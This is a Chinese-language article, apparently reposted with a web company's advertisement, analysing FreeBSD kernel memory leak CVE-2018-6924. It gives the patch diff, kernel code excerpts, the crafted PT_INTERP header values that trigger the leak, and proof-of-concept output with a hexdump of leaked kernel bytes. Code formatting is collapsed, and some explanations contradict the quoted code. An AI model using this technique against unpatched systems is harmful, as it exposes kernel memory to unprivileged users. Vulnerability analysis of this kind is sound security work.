13518219792
这篇文章给大家介绍怎样解析FreeBSD ELF头导致的内核内存泄露，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。
目前成都创新互联公司已为超过千家的企业提供了网站建设、域名、网页空间、网站运营、企业网站设计、港口网站维护等服务，公司将坚持客户导向、应用为本的策略，正道将秉承"和谐、参与、激情"的文化，与客户和合作伙伴齐心协力一起成长，共同发展。
在FreeBSD-SA-18:12这份安全公告中，FreeBSD修复了一个内核内存泄漏漏洞，该漏洞会影响相关操作系统的所有版本。这个漏洞就是这篇文章的主人公：漏洞CVE-2018-6924，由于FreeBSD内核在解析代码指向的ELF头时，缺少有效验证，此时的本地非特权用户就可以利用该漏洞查看内核内存的数据了。
跟往常一样，安全公告中包含了补丁源码的链接，我们先来看一看相关的补丁代码：
---sys/kern/imgact_elf.c.orig+++sys/kern/imgact_elf.c@@-839,7 +839,8 @@ break; case PT_INTERP: /* Path to interpreter */- if (phdr[i].p_filesz >MAXPATHLEN) {+ if (phdr[i].p_filesz < 2||+ phdr[i].p_filesz >MAXPATHLEN) { uprintf("InvalidPT_INTERP\n"); error = ENOEXEC; goto ret;@@-870,6 +871,11 @@ } else { interp = __DECONST(char *,imgp->image_header) + phdr[i].p_offset;+ if(interp[interp_name_len - 1] != '\0') {+ uprintf("Invalid PT_INTERP\n");+ error =ENOEXEC;+ goto ret;+ } } break; case PT_GNU_STACK:---sys/kern/vfs_vnops.c.orig+++sys/kern/vfs_vnops.c@@-528,6 +528,8 @@ struct vn_io_fault_args args; int error, lock_flags;+ if (offset < 0 && vp->v_type!= VCHR)+ return (EINVAL); auio.uio_iov = &aiov; auio.uio_iovcnt = 1;aiov.iov_base = base;这里有两处修改：sys/kern/imgact_elf.c和sys/kern/vfs_vnops.c。sys/kern/imgact_elf.c文件中包含了内核用于解析执行代码ELF头的代码，修复后的函数如下：
776 static int777 __CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)778 { [...]受影响函数的名称是由__CONCAT和__elfN macros. __CONCAT生成的，它由这两个参数组成，__elfN在sys/sys/elf_generic.h中定义：
函数名__CONCAT(exec_, __elfN(imgact))可以扩展成exec_elf32_imgact或 exec_elf64_imgact，具体取决于__ELF_WORD_SIZE定义为32还是64。但是在查看sys/kern/源目录后，我们可以看到两个名叫imgact_elf32.c和imgact_elf64.c的小型文件，它们负责给__ELF_WORD_SIZE定义适当的值，然后引入存在漏洞的文件kern/imgact_elf.c。此时，内核会包含两个版本的sys/kern/imgact_elf.c（中的函数），而这些函数名都是使用__elfN宏来构建的：其中一个版本负责处理32位ELF代码，另一个版本负责处理64位版本的ELF文件。
#define__ELF_WORD_SIZE 32#include
#define__ELF_WORD_SIZE 64#include
回到补丁代码上，很明显问题出在处理ELF文件的PT_INTERP程序头上：
static int__CONCAT(exec_,__elfN(imgact))(struct image_params *imgp){ [...] for (i = 0; i < hdr->e_phnum; i++) { switch (phdr[i].p_type) { [...] case PT_INTERP: /* Path to interpreter */ if (phdr[i].p_filesz >MAXPATHLEN) { uprintf("InvalidPT_INTERP\n"); error = ENOEXEC; goto ret; } [...]PT_INTERP程序头包含程序解析器的路径名称，它只对于可执行文件才有意义，PT_INTERP程序头指向可执行文件时使用的是动态链接，并负责给动态链接的可执行程序加载所需的共享库。一般来说，FreeBSD的程序解析器会在/libexec/ld-elf.so.1中设置。
下面给出的是一个针对32位ELF文件的特殊版本Elf_Phdr结构体：
typedef struct { Elf32_Word p_type; /* Entry type. */ Elf32_Off p_offset; /* File offset of contents. */ Elf32_Addr p_vaddr; /* Virtual address in memory image. */ Elf32_Addr p_paddr; /* Physical address (not used). */ Elf32_Word p_filesz; /* Size of contents in file. */ Elf32_Word p_memsz; /* Size of contents in memory. */ Elf32_Word p_flags; /* Access permission flags. */ Elf32_Word p_align; /* Alignment in memory and file. */}Elf32_Phdr;旧版本代码只会检测“if phdr[i].p_filesz > MAXPATHLEN”，如果条件判断为真，函数便会抛出ENOEXEC异常，而修复后的代码添加了额外的检测。
为了触发漏洞，我们需要让我们的ELF填充至一个单独的页面中，C伪代码如下：
int main(int argc, char** argv){ return argc;}然后使用clang指令和-m32参数生成一个32位可执行程序，并添加-Oz-Wl和-s参数来让文件大小尽可能的小（不超过4096个字节）。
% clang -Oz -Wl,-s -m32 test.c -o test
下面是我们构建的PT_INTERP相关代码：
840 case PT_INTERP:[...]852 interp_name_len =phdr[i].p_filesz;853 if (phdr[i].p_offset> PAGE_SIZE ||854 interp_name_len> PAGE_SIZE - phdr[i].p_offset) {855 VOP_UNLOCK(imgp->vp, 0);856 interp_buf =malloc(interp_name_len + 1, M_TEMP,857 M_WAITOK);858 vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);859 error =vn_rdwr(UIO_READ, imgp->vp, interp_buf,860 interp_name_len, phdr[i].p_offset,861 UIO_SYSSPACE, IO_NODELOCKED, td->td_ucred,862 NOCRED,NULL, td);863 if (error !=0) {864 uprintf("i/o error PT_INTERP\n");865 gotoret;866 }867 interp_buf[interp_name_len] = '\0';868 interp = interp_buf;869 } else {870 interp =__DECONST(char *, imgp->image_header) +871 phdr[i].p_offset;872 }873 break;我们可以看到第853行和第854行，如果解析器路径字符串的文件偏移量位于第一个页面（phdr[i].p_offset > PAGE_SIZE），或者解析器路径足够长到超出第一个页面（interp_name_len > PAGE_SIZE - phdr[i].p_offset），那么vn_rdwr()函数将会被调用，并读取ELF文件对应的vnode。
触发该漏洞的关键时p_offset成员不超过0x1000，并且解析器路径字符串的长度不会超过PAGE_SIZE - phdr[i].p_offset。那么触发该漏洞的关键就是，我们需要构造一个PT_INTERP程序头，并包含p_offset成员值0x1000，然后还要让p_filesz成员的值为0。我们这里使用了Kaitai WebIDE来构建了我们所需的东西：
exec_elf32_imgact()函数会调用elf32_load_file()函数来加载解释器，目标文件名路径包含在interp变量中：
1036 if (interp != NULL) {1037 have_interp = FALSE;[...]1058 if (!have_interp) {1059 error =__elfN(load_file)(imgp->proc, interp, &addr,1060 &imgp->entry_addr, sv->sv_pagesize);1061 }1062 vn_lock(imgp->vp,LK_EXCLUSIVE | LK_RETRY);1063 if (error != 0) {1064 uprintf("ELF interpreter %s not found, error %d\n",1065 interp,error);1066 goto ret;1067 }运行修改后的ELF文件后，我们可以看到它将会窃取内核内存中的内容：
francisco@freebsd112:~% ./poc1ELFinterpreter Ø3¤ not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter $ûÿÿl not found, error 2Abortfrancisco@freebsd112:~% ./poc1ELFinterpreter ^?ELF^A^A^A not found, error2Abort
下面的代码段可以利用该漏洞获取内核内存中75个字节的十六进制导出数据：
francisco@freebsd112:~% script -q capture1 ./poc1ELFinterpreter ?^[(^[(?^[(?^[(^[(^Z(^Z(^Z(^Z(^[(17^[(5^[(^[(^[(^[( not found, error 2francisco@freebsd112:~% hexdump -C capture100000000 70 6f 63 31 3a 0d 0a 45 4c 46 20 69 6e 74 65 72 |poc1:..ELF inter|00000010 70 72 65 74 65 72 20 c5 83 5e 5b 28 cc 83 5e 5b |preter ..^[(..^[|00000020 28 d4 83 5e 5b 28 dc 83 5e 5b 28 98 83 5e 5b 28 |(..^[(..^[(..^[(|00000030 d8 d1 5e 5a 28 e2 d1 5e 5a 28 fe e5 5e 5a 28 9c |..^Z(..^Z(..^Z(.|00000040 bf 5e 5a 28 e3 83 5e 5b 28 31 37 5e 5b 28 35 ba |.^Z(..^[(17^[(5.|00000050 5e 5b 28 e6 83 5e 5b 28 e9 83 5e 5b 28 f2 83 5e |^[(..^[(..^[(..^|00000060 5b 28 20 6e 6f 74 20 66 6f 75 6e 64 2c 20 65 72 |[( not found, er|00000070 72 6f 72 20 32 0d 0a 70 6f 63 31 3a 20 73 69 67 |ror 2..poc1: sig|00000080 6e 61 6c 20 36 0d 0a |nal 6..|00000087
关于怎样解析FreeBSD ELF头导致的内核内存泄露就分享到这里了，希望以上内容可以对大家有一定的帮助，可以学到更多知识。如果觉得文章不错，可以把它分享出去让更多的人看到。
